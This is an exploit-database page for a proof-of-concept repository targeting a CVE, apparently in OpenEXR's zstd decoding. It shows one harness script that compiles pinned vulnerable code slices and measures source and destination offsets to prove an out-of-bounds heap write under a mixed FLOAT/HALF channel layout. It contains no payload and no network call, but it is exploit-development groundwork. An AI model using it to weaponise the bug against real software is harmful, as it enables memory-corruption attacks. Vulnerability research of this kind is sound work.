Exploit database

GH-77b084c651f84d76fe59d880f4600f96

genaforvena/mishe-tauftauf2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/frontier/openexr2shell/harness/offset-check.sh

Shell · 5,869 bytes
#!/bin/sh
# W178: measure, in the pinned vulnerable sink, which inPtr offset supplies
# destination bytes at/after 64, then prove the mixed-layout counterexample:
# with a FLOAT channel before a HALF channel, in-bounds source bytes are copied
# to a far out-of-bounds destination. Pinned compute_sorting_lookup and
# sort2_4ByteChannels_tiled are verbatim upstream slices; tracked_memcpy only
# records (dst,src,len). No EXR header, zstd frame, file, process, socket or
# wire input is involved. OFFSET_CFLAGS/OFFSET_KEEP are debug knobs.
set -eu
HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SRC=$(CDPATH= cd -- "$HERE/../src" && pwd)
OUT="$HERE/evidence"
FLAGS=${OFFSET_CFLAGS:--O0 -g -Wall}
TMP=${OFFSET_TMP:-$(mktemp -d)}
if [ "${OFFSET_KEEP:-0}" = 0 ]; then trap 'rm -rf "$TMP"' EXIT; fi
mkdir -p "$OUT"

{
    cat <<'HEADER'
/* Generated by harness/offset-check.sh from verbatim pinned slices. */
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct { int8_t bytes_per_element; } exr_coding_channel_info_t;

typedef struct { uint64_t dst, src, len; } copy_t;
static copy_t copies[128];
static int ncopies;
static const char* in_base;
static const char* out_base;

static void* tracked_memcpy (void* dst, const void* src, size_t n)
{
    if (ncopies < 128) {
        copies[ncopies].dst = (uint64_t) ((const char*) dst - out_base);
        copies[ncopies].src = (uint64_t) ((const char*) src - in_base);
        copies[ncopies].len = (uint64_t) n;
        ++ncopies;
    }
    return __builtin_memcpy (dst, src, n);
}
#define memcpy tracked_memcpy
HEADER
    printf '\n#line %d "internal_zstd.c.vuln"\n' 257
    awk 'NR >= 257 && NR <= 295' "$SRC/internal_zstd.c.vuln"
    printf '\n#line %d "internal_zstd.c.vuln"\n' 441
    awk 'NR >= 441 && NR <= 480' "$SRC/internal_zstd.c.vuln"
    cat <<'FOOTER'
#undef memcpy

static char  in_buf[65536];
static char out_buf[65536];

static uint64_t
run_case (const char* name, const int8_t* bpe, const uint64_t* grid,
          int rows, int nch)
{
    exr_coding_channel_info_t ch[4];
    uint64_t lookup[16];
    uint64_t split, min_src = ~(uint64_t) 0;
    int oob_copies = 0;

    for (int i = 0; i < nch; ++i) ch[i].bytes_per_element = bpe[i];
    split = compute_sorting_lookup (grid, rows, ch, nch, lookup);

    memset (in_buf, 0x5a, sizeof (in_buf));
    memset (out_buf, 0xa5, sizeof (out_buf));
    in_base = in_buf;
    out_base = out_buf;
    ncopies = 0;

    sort2_4ByteChannels_tiled (in_buf, grid, ch, nch, false, rows,
                               out_buf, lookup);

    printf ("CASE %s rows=%d nch=%d split=%llu copies=%d\n", name, rows, nch,
            (unsigned long long) split, ncopies);
    for (int i = 0; i < ncopies; ++i) {
        copy_t c = copies[i];
        uint64_t first_oob = c.dst > 64 ? c.dst : 64;
        printf ("  COPY dst=%llu src=%llu len=%llu\n",
                (unsigned long long) c.dst, (unsigned long long) c.src,
                (unsigned long long) c.len);
        if (c.dst + c.len > 64) {
            uint64_t s = c.src + (first_oob - c.dst);
            ++oob_copies;
            if (s < min_src) min_src = s;
        }
    }
    printf ("  MIN_SRC_AT_DST64 %s value=%llu oob_copies=%d\n", name,
            oob_copies ? (unsigned long long) min_src : 0ULL, oob_copies);
    return min_src;
}

static int
mixed_proof (void)
{
    /* FLOAT channel first, HALF second, one row. The pinned sink copies the
     * HALF row from sorted offset 0 to packed offset 4096. Bytes [0,64) of
     * in_buf stand in for the decompressed (file-derived) sorted chunk; the
     * rest stands in for adjacent heap. */
    exr_coding_channel_info_t ch[2] = { { 4 }, { 2 } };
    const uint64_t grid[] = { 1024, 2 };
    uint64_t lookup[2];
    int ok = 1;

    memset (in_buf, 0x5a, sizeof (in_buf));
    memset (out_buf, 0xa5, sizeof (out_buf));
    for (int i = 0; i < 64; ++i) in_buf[i] = (char) 0x3c;
    in_base = in_buf;
    out_base = out_buf;
    ncopies = 0;

    sort2_4ByteChannels_tiled (in_buf, grid, ch, 2, false, 1,
                               out_buf, lookup);

    for (int i = 0; i < ncopies; ++i) {
        copy_t c = copies[i];
        uint8_t* d = (uint8_t*) out_buf + c.dst;
        printf ("MIXED copy dst=%llu src=%llu len=%llu bytes=%02x%02x%02x%02x\n",
                (unsigned long long) c.dst, (unsigned long long) c.src,
                (unsigned long long) c.len, d[0], d[1], d[2], d[3]);
        if (c.dst == 4096 && c.src == 0 && c.len == 4 &&
            d[0] == 0x3c && d[1] == 0x3c && d[2] == 0x3c && d[3] == 0x3c)
            ok = 0;
    }
    printf ("MIXED_RESULT %s\n", ok ? "FAIL" : "PASS");
    return ok;
}

int
main (void)
{
    int bad = mixed_proof ();
    const int8_t f[] = { 4 };
    const uint64_t gf[] = { 1024 };
    const int8_t hf[] = { 2, 4 };
    const uint64_t ghf[] = { 2, 1024 };
    const int8_t fh[] = { 4, 2 };
    const uint64_t gfh[] = { 1024, 2 };
    const uint64_t g2hf[] = { 2, 12, 2, 12 };
    const uint64_t g2fh[] = { 12, 2, 12, 2 };
    const int8_t hff[] = { 2, 4, 4 };
    const uint64_t g3[] = { 2, 8, 16, 4, 12, 24, 6, 10, 20 };

    run_case ("float1", f, gf, 1, 1);
    run_case ("half1-float1", hf, ghf, 1, 2);
    run_case ("float1-half1", fh, gfh, 1, 2);
    run_case ("2row-half-first", hf, g2hf, 2, 2);
    run_case ("2row-float-first", fh, g2fh, 2, 2);
    run_case ("3row-half-float-float", hff, g3, 3, 3);

    printf ("RESULT %s bad=%d cases=6\n", bad ? "FAIL" : "PASS", bad);
    return bad ? 1 : 0;
}
FOOTER
} > "$TMP/offset-driver.c"

cc $FLAGS -o "$TMP/offset-driver" "$TMP/offset-driver.c"
"$TMP/offset-driver" > "$OUT/offset-check.out" || true
cat "$OUT/offset-check.out"
grep -q '^MIXED_RESULT PASS$' "$OUT/offset-check.out"
grep -q '^RESULT PASS bad=0 cases=6$' "$OUT/offset-check.out"
sha256sum "$OUT/offset-check.out"